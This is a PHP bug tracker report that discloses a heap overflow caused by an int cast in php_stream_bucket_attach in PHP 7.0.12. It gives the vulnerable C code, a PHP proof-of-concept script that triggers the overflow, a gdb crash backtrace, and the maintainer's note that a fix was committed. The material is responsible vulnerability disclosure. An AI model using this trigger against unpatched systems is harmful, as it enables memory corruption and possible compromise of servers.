php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73419 Incorrect Type Comparison in "php_stream_bucket_attach" Leads Heap Overflow
Submitted: 2016-10-30 10:41 UTC Modified: 2017-02-13 00:59 UTC
From: orange at chroot dot org Assigned: stas (profile)
Status: Closed Package: Streams related
PHP Version: 7.0.12 OS: Ubuntu
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: orange at chroot dot org
New email:
PHP Version: OS:

 

 [2016-10-30 10:41 UTC] orange at chroot dot org
Description:
------------
Hi

I just review the code of PHP7 and I found an incorrect type comparison in function php_stream_bucket_attach.

In file ext/standard/user_filters.c line 455

```
455		if ((int)bucket->buflen != Z_STRLEN_P(pzdata)) {
456			bucket->buf = perealloc(bucket->buf, Z_STRLEN_P(pzdata), bucket->is_persistent);
457			bucket->buflen = Z_STRLEN_P(pzdata);
458		}
459		memcpy(bucket->buf, Z_STRVAL_P(pzdata), bucket->buflen);
```

bucket->buflen is user controllable and it's type casted from size_t to int, so if I provide a bucket->buflen size 0x10000002 and let Z_STRLEN_P(pzdata) to 0x2, the bucket->buflen won't be changed.

In line 459, the memcpy will use bucket->buflen with type size_t, so it will copy 0x10000002 bytes from Z_STRVAL_P(pzdata) to bucket->buf.


I think the patch is just remove the casting "(int)" in line 455!


Test script:
---------------
 <?php
    ini_set("memory_limit", "-1");

    class strtoupper_filter extends php_user_filter {
      function filter($in, $out, &$consumed, $closing)
      {
        $fp = fopen("/dev/null", "rb"); 
        $bucket = stream_bucket_new($fp, str_repeat('x', 0x100000002));
        $bucket->data = "gg";
        stream_bucket_append($out, $bucket);
        return PSFS_PASS_ON;
      }
    }

    stream_filter_register("strtoupper", "strtoupper_filter");
    $fp = fopen("/dev/null", "r");
    stream_filter_append($fp, "strtoupper");
    fread($fp, 1);
    fclose($fp);

Actual result:
--------------
gdb-peda$ bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:116
#1  0x000000000066d390 in memcpy (__len=<optimized out>, __src=<optimized out>, __dest=<optimized out>)
    at /usr/include/x86_64-linux-gnu/bits/string3.h:51
#2  php_stream_bucket_attach (append=0x1, return_value=<optimized out>, execute_data=<optimized out>)
    at /home/orange/aa/php-7.0.12/ext/standard/user_filters.c:459
#3  0x000000000072a63d in ZEND_DO_ICALL_SPEC_HANDLER () at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:586
#4  0x000000000071cb0b in execute_ex (ex=<optimized out>) at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:414
#5  0x00000000006d258b in zend_call_function (fci=fci@entry=0x7fffffffa660, fci_cache=0x7ffff4c852e0, fci_cache@entry=0x0)
    at /home/orange/aa/php-7.0.12/Zend/zend_execute_API.c:856
#6  0x00000000006d2aa8 in call_user_function_ex (function_table=function_table@entry=0x0, object=object@entry=0x7ffff4c75008,
    function_name=function_name@entry=0x7fffffffa6f0, retval_ptr=retval_ptr@entry=0x7fffffffa700, param_count=param_count@entry=0x4,
    params=params@entry=0x7fffffffa720, no_separation=no_separation@entry=0x0, symbol_table=symbol_table@entry=0x0)
    at /home/orange/aa/php-7.0.12/Zend/zend_execute_API.c:675
#7  0x000000000066cce8 in userfilter_filter (stream=<optimized out>, thisfilter=0x7ffff4c75000, buckets_in=0x7fffffffa7c0,
    buckets_out=0x7fffffffa7d0, bytes_consumed=0x0, flags=<optimized out>)
    at /home/orange/aa/php-7.0.12/ext/standard/user_filters.c:203
#8  0x0000000000699cfd in _php_stream_fill_read_buffer (stream=stream@entry=0x7ffff4c72300, size=size@entry=0x1)
    at /home/orange/aa/php-7.0.12/main/streams/streams.c:593
#9  0x0000000000699fa7 in _php_stream_read (stream=stream@entry=0x7ffff4c72300, buf=buf@entry=0x7ffff4c01838 "fread", size=0x1)
    at /home/orange/aa/php-7.0.12/main/streams/streams.c:722
#10 0x000000000062b113 in zif_fread (execute_data=<optimized out>, return_value=0x7ffff4c13110)
    at /home/orange/aa/php-7.0.12/ext/standard/file.c:1770
#11 0x000000000072a63d in ZEND_DO_ICALL_SPEC_HANDLER () at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:586
#12 0x000000000071cb0b in execute_ex (ex=<optimized out>) at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:414
#13 0x0000000000765fe7 in zend_execute (op_array=0x7ffff4c7d000, op_array@entry=0x7ffff4c85660,
    return_value=return_value@entry=0x7ffff4c13030) at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:458
#14 0x00000000006e0234 in zend_execute_scripts (type=type@entry=0x8, retval=0x7ffff4c13030, retval@entry=0x0,
    file_count=file_count@entry=0x3) at /home/orange/aa/php-7.0.12/Zend/zend.c:1427
#15 0x0000000000683bf8 in php_execute_script (primary_file=primary_file@entry=0x7fffffffcd10)
    at /home/orange/aa/php-7.0.12/main/main.c:2494
#16 0x0000000000767bb8 in do_cli (argc=0x2, argv=0xecbfc0) at /home/orange/aa/php-7.0.12/sapi/cli/php_cli.c:974
#17 0x0000000000430530 in main (argc=argc@entry=0x2, argv=0xecbfc0, argv@entry=0x7fffffffe108)
    at /home/orange/aa/php-7.0.12/sapi/cli/php_cli.c:1344
#18 0x00007ffff6c9eec5 in __libc_start_main (main=0x430020 <main>, argc=0x2, argv=0x7fffffffe108, init=<optimized out>,
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe0f8) at libc-start.c:287
#19 0x00000000004305cb in _start ()


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-03 14:35 UTC] orange at chroot dot org
ping?
 [2016-11-05 21:48 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 00:59 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Wed Feb 05 13:01:33 2025 UTC